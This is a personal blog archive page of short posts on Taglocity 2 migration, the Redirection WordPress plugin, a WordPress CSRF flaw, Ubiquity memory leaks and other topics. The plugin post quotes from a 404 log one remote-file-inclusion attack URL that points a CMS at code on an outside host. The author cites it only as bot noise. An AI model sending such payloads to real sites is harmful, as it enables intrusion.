Taglocity 2 – Migration frustration

I installed version 2 of Taglocity on Friday. As I wrote a while ago, the older version of Taglocity has saved my bacon many times, and I was excited about the new features. I still am, but I’m a little more cautious about the new version today.

Why? Migration.

I installed the new version in the morning and was astonished when I went to tag the first message: my tags were gone. More precisely, there were no auto-filling tags happening at all. I went back to the Taglocity welcome screen, and somehow found an option to import existing categories as tags. Which turned all my tags into [tags], because the old version of Taglocity entered the tag values into Outlook categories with brackets around them. Grr.

I checked the website and there was no online migration guidance for users of 1.1 Grr. So I fired off an email to Taglocity support to ask what I was missing. I waited an hour (while I was in a meeting) and didn’t get a response. Grrrrrr.

So I started manually fixing the old tags. What a pain. I got partway through and threw in the towel for the day. When I got in on Monday, there was an email from Taglocity support telling me that there was an option to convert the tags to version 2:

All you have to do is ‘Import V1 tags’ and then convert them into version 2.

You can access these tools by clicking on the ‘Taglocity’ main menu and then clicking on ‘Configuration’ -> ‘Tools& Support’.

Which I’m doing now.

So, Taglocity, here’s what you could have done differently:

  1. Put the migration option front and center in your welcome screen–or detect that I already had Taglocity installed, and offered to migrate everything for me.
  2. Failing that, put the migration how-to on your web site. A no-brainer, really.
  3. Put an auto-responder on your support email to let me know you got my message and set my expectations about wait times. I hate them too, but they’re better than waiting six hours to find out if my email went through.
  4. Pat Vanessa in support on the back, because her answer was spot on.

Ok. Other than the migration issues, I like a few things about the update. The UI is cleaner, I love that I don’t have to use a tag cloud to filter by tags. I’m not super thrilled about the additional sidebar, mostly because I had Xobni installed, and it doesn’t seem to give me anything Xobni doesn’t. On the other hand, the stuff that Xobni gives me that Taglocity doesn’t is stuff I don’t use very much anyway–except for the phone number. If Taglocity added options to get me to the tags I use most often in conversation with people, that would be great, and I might start hiding Xobni’s sidebar instead of the other way around.

Grab bag: iPhone update, economy reboot

Grab bag: Communication by any channel necessary

Redirecting away from lost comments

I thought I had linked to Urban Giraffe’s great Redirection WordPress plug-in, but there was a glitch between Ubiquity and Delicious and the link didn’t get saved. Ah well. The point is that Redirection makes it dead simple to do two things: track 404s (dead links) that users hit on your site, and create redirects so that people coming to that link get served valid content.

I’ve been going through the process of reviewing the 404s for the first few days, and have found three general types of 404:

  1. Old Manila stories that were part of my old site structure but didn’t get published in the same way on WordPress. This is easy to fix, because WordPress lets you edit the “pretty URL” for these pages directly.
  2. Attack URLs. These tend to look like /inc​/cmses​/aedatingCMS.php?dir[inc]=http:​/​/rfi.at.ua​/test.txt?? and represent bots trying to exploit known software vulnerabilities. I generally am ignoring these right now.
  3. Permalinks to comments.

This third one is the sad part. Somewhere along the way, whether when I turned off comments on my Manila site or at some other point, all the old comments on my posts were lost. So there’s nowhere for me to redirect: the content’s gone. Comments ranging from the banal to the friendly, from Dave Sifry of Technorati pre-announcing link voting to the late Anita Rowland reminding me to follow up on a post on universal remotes.

I’m now going through the sad task of removing those links one at a time on this site. I guess entropy is alive and well.

But the point is that Redirection is a great WP plugin.

Grab bag: Parties and Python

Remix culture: NASA’s bootleg Snoopy from 1969

I had read about NASA’s use of Snoopy and the Peanuts characters as unofficial mascots for Apollo 10 (it was well documented in Charlie Brown and Charlie Schulz, which sat on my Pop-Pop’s bookshelf alongside the Peanuts Treasury), but don’t remember seeing this. Courtesy Google Image Search and the LIFE archives:

As good an argument for the Commons as I’ve ever seen. The irony is, of course, that it sits in Google Images with no reasonable licensing in place. Even this bootleg image is claimed as copyright LIFE magazine.

WordPress 2.6.3 CSRF security vulnerability

No link, because I’m posting this from my iPhone. But it looks like WordPress 2.6.3, the latest version, has a cross site request forgery vulnerability. The way CSRF works, if you have your WP site open and are logged in, an attacker can use another web page that’s open at the same time to perform actions on your blog, like deleting users. No word yet that I’ve seen about a fix. I’ll post more about CSRF in a while.

Update: Here’s the official published vulnerability (CVE-2008-5113) from the National Vulnerability Database. And here’s a good description of how CSRF works from OWASP. The scary bit is that if the application isn’t patched, there’s not a lot you can do to mitigate the attack. I haven’t seen anything official from WordPress yet on this vulnerability, but there’s an interesting discussion trail on the bug. Bottom line for app developers: don’t trust user input, and yes the HTTP request needs to be considered user input.

Grab bag: Old friends, WordPress, and more

Google LIFE archive: where’s the usage rights?

I’m impressed by the new LIFE photo archive at Google Images–it’s a truly significant work of digital content. But it’s missing one important thing: a usage policy. The images are marked (c) Time Inc., so it’s clear they aren’t public domain. But is there any way to purchase usage rights? The only reuse provision seems to be a framed print purchase.

Compare it to what Flickr does with the images in its commons, or anywhere else for that matter–a clear licensing agreement, selectable by the poster, that explains how images can be used. The LIFE archive may be visually striking, but it would be much more valuable if the images could have a life beyond Google’s servers.

Ubiquity memory issues on Firefox

I may have to stop using Ubiquity for a while. I’ve used it exclusively because it, plus the share-on-delicious script, provides a great keyboard-only way to tag web pages for Delicious, simply by ctrl-space and typing share Delicious bookmark description tagged delicious tags entitled title“.

Alas, there are definite memory issues with Ubiquity or with the script. I currently have three tabs open in Firefox and the memory is more or less stable at 112,988K. If I invoke Ubiquity and start typing:

share This is a sample Delicious post that's not too different from one I would normally do, except a bit shorter and more fictional. tagged ubiquity entitled foo ubiquity test.

then suddenly memory usage spikes up to 571,028K !!! The memory use gradually falls back down, but it climbs steadily and precipitously while I’m typing, and there’s a point beyond which Firefox becomes unusable. Maybe I’m a canary user because I’m a touch typist, and I’m typing faster than Firefox can garbage collect memory? I still can’t believe that Ubiquity could be consuming so much, though.

(Update: apparently I’m not alone.)

Grab bag: Monday New Yorker edition

Entering the Wii generation

We bought a Wii this morning on Amazon. And it was my wife’s idea.

I’ve never owned a console. I bought a vintage game-in-a-joystick set a few years ago and was a dedicated MAME gamer for a while, but never made the leap to modern systems. My college suitemates who brought an NES to school and kept us up all hours of the night saw to that.

I did a paper in grad school (with George and Bransby) on the video game industry, in which we concluded that the gamer market had enough room for all three players, largely because Nintendo was going after an audience that Sony and Microsoft weren’t. At the time, what we saw was the 10-12 year old audience that they had locked up. What we didn’t see was their “blue ocean”–that Nintendo would find another untapped audience that ranged from retirees to non-gaming women.

The other thing we didn’t see was that the real story in the Nintendo vs. Sony and Microsoft battle wasn’t technology strategy per se. You could look at all the s-curves in the world, but polygon count was ultimately a poor predictor for the market. Fun–now there’s a much better predictor.

So I’m looking forward to playing around with the console when it gets here. A little tennis, a little family time–and maybe, if I play my cards rights, some Lego Star Wars too.

Decompressing

As one might gather from the week of linkblog posts, it’s been a little hard making the transition away from all-election, all the time blogging, though for different reasons than back in 2004. While then I couldn’t believe that half the country enjoyed George W. Bush’s regime enough to bring it back for four more years, now I don’t want to blink for fear it will go away.

And there have been some other things that have happened too–like getting rushed out of our office by a gas main that was broken open by construction staff last week. Or briefly thinking I had to do a four week travel stint to support a client, before cooler heads prevailed.

Plus, I’ve been fighting a cold. So it’s kind of been the perfect storm of blogkill.

Grab bag: Real Internet expertise at the FCC